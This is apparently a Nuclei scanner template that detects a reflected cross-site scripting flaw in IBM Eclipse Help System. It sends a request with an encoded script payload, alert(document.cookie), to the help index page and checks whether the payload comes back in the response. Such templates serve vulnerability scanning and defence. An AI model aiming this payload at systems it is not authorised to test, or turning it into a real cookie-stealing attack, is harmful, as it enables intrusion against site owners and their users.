id: eclipse-help-system-xss

info:
  name: IBM Eclipse Help System - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: IBM Eclipse Help System 6.1.0 through 6.1.0.6, 6.1.5 through 6.1.5.3, 7.0 through 7.0.0.2, and 8.0 prior to 8.0.0.1 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
  reference:
    - https://packetstormsecurity.com/files/131924/IBM-Eclipse-Help-System-IEHS-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: ibm,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>alert(document.cookie)</script>"
          - "file not found"
        condition: and
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 490a0046304402203a1ca25cefd461f3af4435aa3948ddecbc379b4b5409fd9c15c0dd1914b2aa0d022010ada8e734c4be50cf7b1b824deba4487db3bd044fdbd9c681e369e651d909c4:922c64590222798bb761d5b6d8e72950